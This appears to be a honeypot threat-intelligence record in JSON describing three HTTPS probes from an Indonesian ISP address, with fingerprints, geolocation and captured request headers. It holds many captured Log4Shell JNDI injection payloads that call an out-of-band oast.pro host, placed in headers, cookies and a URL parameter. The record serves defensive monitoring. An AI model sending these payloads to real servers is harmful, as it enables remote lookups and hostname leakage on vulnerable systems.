{"ip":"103.245.27.120","total_events":3,"verdict":{"verdict":"probing","label":"Low-level probing","detail":null,"confidence":"low","network_type":"residential ISP"},"first_seen":"2026-06-02T14:28:44","last_seen":"2026-06-03T13:06:07","events_24h":0,"events_7d":3,"geo":{"country_code":"ID","country_name":"Indonesia","region":"East Java","city":"Madiun","asn":139952,"org":"PT Trisari Data Indonusa"},"source_domain":null,"known_scanners":[],"scanner_tag":{"key":"peeringdb:as139952","label":"Trisari Data Indonusa","category":"isp","url":"https://www.peeringdb.com/asn/139952"},"cve_matches":[],"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":3}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13i251000_b78ed14e2fd0_ab7e3b40a677"],"ja4h":["ge11cr17jn_d78725929e09","ge11nn0500_9af7e0472034","ge11nn0400_ef4d07580f66"]},"fingerprint_peers":{"t13i251000_b78ed14e2fd0_ab7e3b40a677":43,"ge11nn0400_ef4d07580f66":2843,"ge11nn0500_9af7e0472034":430,"ge11cr17jn_d78725929e09":2},"user_agents":["${jndi:ldap://${:-925}${:-352}.${hostName}.useragent.d8feh3n6vsn784a4iklggfhxmuqxibxqw.d8eqqt76vsnamt6gpt00sddb7mt8dqhii.oast.pro}","Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0","Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0"],"timeline":[{"date":"2026-06-02","count":2},{"date":"2026-06-03","count":1}],"recent_events":[{"timestamp":"2026-06-03T13:06:07","port":443,"proto":"tcp","app_proto":"tls","host":"<HONEYPOT>","headers":"{\"accept-charset\":\"utf-8\",\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/","summary":"","method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0"},{"timestamp":"2026-06-02T14:28:45","port":443,"proto":"tcp","app_proto":"tls","host":"<HONEYPOT>","headers":"{\"accept\":\"application/xml, application/json, text/plain, text/html, */${jndi:ldap://${:-925}${:-352}.${hostName}.accept.d8feh3n6vsn784a4iklgm9mp5fskgndn4.d8eqqt76vsnamt6gpt00sddb7mt8dqhii.oast.pro}\",\"accept-encoding\":\"${jndi:ldap://${:-925}${:-352}.${hostName}.acceptencoding.d8feh3n6vsn784a4iklg88gtnt796quuh.d8eqqt76vsnamt6gpt00sddb7mt8dqhii.oast.pro}\",\"accept-language\":\"${jndi:ldap://${:-925}${:-352}.${hostName}.acceptlanguage.d8feh3n6vsn784a4iklg1zuy9tmzi96mf.d8eqqt76vsnamt6gpt00sddb7mt8dqhii.oast.pro}\",\"access-control-request-headers\":\"${jndi:ldap://${:-925}${:-352}.${hostName}.accesscontrolrequestheaders.d8feh3n6vsn784a4iklgqrjzbrsj8hu63.d8eqqt76vsnamt6gpt00sddb7mt8dqhii.oast.pro}\",\"access-control-request-method\":\"${jndi:ldap://${:-925}${:-352}.${hostName}.accesscontrolrequestmethod.d8feh3n6vsn784a4iklgt93dymzyt3gqm.d8eqqt76vsnamt6gpt00sddb7mt8dqhii.oast.pro}\",\"authentication\":\"Bearer ${jndi:ldap://${:-925}${:-352}.${hostName}.authenticationbearer.d8feh3n6vsn784a4iklgzbjqahfd63ace.d8eqqt76vsnamt6gpt00sddb7mt8dqhii.oast.pro}\",\"connection\":\"close\",\"cookie\":\"${jndi:ldap://${:-925}${:-352}.${hostName}.cookiename.d8feh3n6vsn784a4iklggzx4cidy4445e.d8eqqt76vsnamt6gpt00sddb7mt8dqhii.oast.pro}=${jndi:ldap://${:-925}${:-352}.${hostName}.cookievalue.d8feh3n6vsn784a4iklgk6shipijrtt8d.d8eqqt76vsnamt6gpt00sddb7mt8dqhii.oast.pro}\",\"host\":\"<HONEYPOT>\",\"location\":\"${jndi:ldap://${:-925}${:-352}.${hostName}.location.d8feh3n6vsn784a4iklgmm37d688r1wz9.d8eqqt76vsnamt6gpt00sddb7mt8dqhii.oast.pro}\",\"origin\":\"${jndi:ldap://${:-925}${:-352}.${hostName}.origin.d8feh3n6vsn784a4iklg91969itghb5s8.d8eqqt76vsnamt6gpt00sddb7mt8dqhii.oast.pro}\",\"referer\":\"${jndi:ldap://${:-925}${:-352}.${hostName}.referer.d8feh3n6vsn784a4iklgxst9c1gckcb95.d8eqqt76vsnamt6gpt00sddb7mt8dqhii.oast.pro}\",\"upgrade-insecure-requests\":\"${jndi:ldap://${:-925}${:-352}.${hostName}.upgradeinsecurerequests.d8feh3n6vsn784a4iklgrwqabybmqormh.d8eqqt76vsnamt6gpt00sddb7mt8dqhii.oast.pro}\",\"user-agent\":\"${jndi:ldap://${:-925}${:-352}.${hostName}.useragent.d8feh3n6vsn784a4iklggfhxmuqxibxqw.d8eqqt76vsnamt6gpt00sddb7mt8dqhii.oast.pro}\",\"x-api-version\":\"${jndi:ldap://${:-925}${:-352}.${hostName}.xapiversion.d8feh3n6vsn784a4iklgchqjkdgeaoq9e.d8eqqt76vsnamt6gpt00sddb7mt8dqhii.oast.pro}\",\"x-csrf-token\":\"${jndi:ldap://${:-925}${:-352}.${hostName}.xcsrftoken.d8feh3n6vsn784a4iklggqxsn5hfcbgcg.d8eqqt76vsnamt6gpt00sddb7mt8dqhii.oast.pro}\",\"x-druid-comment\":\"${jndi:ldap://${:-925}${:-352}.${hostName}.xdruidcomment.d8feh3n6vsn784a4iklgiwpgcy3uobz74.d8eqqt76vsnamt6gpt00sddb7mt8dqhii.oast.pro}\",\"x-forwarded-for\":\"${jndi:ldap://${:-925}${:-352}.${hostName}.xforwardedfor.d8feh3n6vsn784a4iklg565tc7jzkyf46.d8eqqt76vsnamt6gpt00sddb7mt8dqhii.oast.pro}\",\"x-origin\":\"${jndi:ldap://${:-925}${:-352}.${hostName}.xorigin.d8feh3n6vsn784a4iklgtzr77ozuj1say.d8eqqt76vsnamt6gpt00sddb7mt8dqhii.oast.pro}\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/","summary":"","method":"GET","user_agent":"${jndi:ldap://${:-925}${:-352}.${hostName}.useragent.d8feh3n6vsn784a4iklggfhxmuqxibxqw.d8eqqt76vsnamt6gpt00sddb7mt8dqhii.oast.pro}"},{"timestamp":"2026-06-02T14:28:44","port":443,"proto":"tcp","app_proto":"tls","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/?x=${jndi:ldap://${:-925}${:-352}.${hostName}.uri.d8feh3n6vsn784a4iklghtdrdk1z9rrjd.d8eqqt76vsnamt6gpt00sddb7mt8dqhii.oast.pro/a}","summary":"","method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0"}],"http_methods":[{"method":"GET","count":3}],"distinct_ports_total":1,"top_paths":[{"path":"/","count":2,"ports":1},{"path":"/?x=${jndi:ldap://${:-925}${:-352}.${hostName}.uri.d8feh3n6vsn784a4iklghtdrdk1z9rrjd.d8eqqt76vsnamt6gpt00sddb7mt8dqhii.oast.pro/a}","count":1,"ports":1}],"distinct_paths_total":2,"top_snis":[],"top_hosts":[],"top_alpns":[],"header_profile":{"signature":["Accept","Accept-Encoding","Accept-Language","Access-Control-Request-Headers","Access-Control-Request-Method","Authentication","Connection","Cookie","Host","Location","Origin","Referer","Upgrade-Insecure-Requests","User-Agent","X-Api-Version","X-Csrf-Token","X-Druid-Comment","X-Forwarded-For","X-Origin"],"representative":[{"name":"Accept","value":"application/xml, application/json, text/plain, text/html, */${jndi:ldap://${:-925}${:-352}.${hostName}.accept.d8feh3n6vsn784a4iklgm9mp5fskgndn4.d8eqqt76vsnamt6gpt00sddb7mt8dqhii.oast.pro}","notable":false},{"name":"Accept-Encoding","value":"${jndi:ldap://${:-925}${:-352}.${hostName}.acceptencoding.d8feh3n6vsn784a4iklg88gtnt796quuh.d8eqqt76vsnamt6gpt00sddb7mt8dqhii.oast.pro}","notable":false},{"name":"Accept-Language","value":"${jndi:ldap://${:-925}${:-352}.${hostName}.acceptlanguage.d8feh3n6vsn784a4iklg1zuy9tmzi96mf.d8eqqt76vsnamt6gpt00sddb7mt8dqhii.oast.pro}","notable":false},{"name":"Access-Control-Request-Headers","value":"${jndi:ldap://${:-925}${:-352}.${hostName}.accesscontrolrequestheaders.d8feh3n6vsn784a4iklgqrjzbrsj8hu63.d8eqqt76vsnamt6gpt00sddb7mt8dqhii.oast.pro}","notable":false},{"name":"Access-Control-Request-Method","value":"${jndi:ldap://${:-925}${:-352}.${hostName}.accesscontrolrequestmethod.d8feh3n6vsn784a4iklgt93dymzyt3gqm.d8eqqt76vsnamt6gpt00sddb7mt8dqhii.oast.pro}","notable":false},{"name":"Authentication","value":"Bearer ${jndi:ldap://${:-925}${:-352}.${hostName}.authenticationbearer.d8feh3n6vsn784a4iklgzbjqahfd63ace.d8eqqt76vsnamt6gpt00sddb7mt8dqhii.oast.pro}","notable":false},{"name":"Connection","value":"close","notable":false},{"name":"Cookie","value":"${jndi:ldap://${:-925}${:-352}.${hostName}.cookiename.d8feh3n6vsn784a4iklggzx4cidy4445e.d8eqqt76vsnamt6gpt00sddb7mt8dqhii.oast.pro}=${jndi:ldap://${:-925}${:-352}.${hostName}.cookievalue.d8feh3n6vsn784a4iklgk6shipijrtt8d.d8eqqt76vsnamt6gpt00sddb7mt8dqhii.oast.pro}","notable":true},{"name":"Host","value":"<HONEYPOT>","notable":false},{"name":"Location","value":"${jndi:ldap://${:-925}${:-352}.${hostName}.location.d8feh3n6vsn784a4iklgmm37d688r1wz9.d8eqqt76vsnamt6gpt00sddb7mt8dqhii.oast.pro}","notable":false},{"name":"Origin","value":"${jndi:ldap://${:-925}${:-352}.${hostName}.origin.d8feh3n6vsn784a4iklg91969itghb5s8.d8eqqt76vsnamt6gpt00sddb7mt8dqhii.oast.pro}","notable":true},{"name":"Referer","value":"${jndi:ldap://${:-925}${:-352}.${hostName}.referer.d8feh3n6vsn784a4iklgxst9c1gckcb95.d8eqqt76vsnamt6gpt00sddb7mt8dqhii.oast.pro}","notable":true},{"name":"Upgrade-Insecure-Requests","value":"${jndi:ldap://${:-925}${:-352}.${hostName}.upgradeinsecurerequests.d8feh3n6vsn784a4iklgrwqabybmqormh.d8eqqt76vsnamt6gpt00sddb7mt8dqhii.oast.pro}","notable":false},{"name":"User-Agent","value":"${jndi:ldap://${:-925}${:-352}.${hostName}.useragent.d8feh3n6vsn784a4iklggfhxmuqxibxqw.d8eqqt76vsnamt6gpt00sddb7mt8dqhii.oast.pro}","notable":false},{"name":"X-Api-Version","value":"${jndi:ldap://${:-925}${:-352}.${hostName}.xapiversion.d8feh3n6vsn784a4iklgchqjkdgeaoq9e.d8eqqt76vsnamt6gpt00sddb7mt8dqhii.oast.pro}","notable":true},{"name":"X-Csrf-Token","value":"${jndi:ldap://${:-925}${:-352}.${hostName}.xcsrftoken.d8feh3n6vsn784a4iklggqxsn5hfcbgcg.d8eqqt76vsnamt6gpt00sddb7mt8dqhii.oast.pro}","notable":true},{"name":"X-Druid-Comment","value":"${jndi:ldap://${:-925}${:-352}.${hostName}.xdruidcomment.d8feh3n6vsn784a4iklgiwpgcy3uobz74.d8eqqt76vsnamt6gpt00sddb7mt8dqhii.oast.pro}","notable":true},{"name":"X-Forwarded-For","value":"${jndi:ldap://${:-925}${:-352}.${hostName}.xforwardedfor.d8feh3n6vsn784a4iklg565tc7jzkyf46.d8eqqt76vsnamt6gpt00sddb7mt8dqhii.oast.pro}","notable":true},{"name":"X-Origin","value":"${jndi:ldap://${:-925}${:-352}.${hostName}.xorigin.d8feh3n6vsn784a4iklgtzr77ozuj1say.d8eqqt76vsnamt6gpt00sddb7mt8dqhii.oast.pro}","notable":true}],"distinct_sets":3,"events_with_headers":3},"tags":[],"data_as_of":"2026-06-04T17:42:56.699746+00:00"}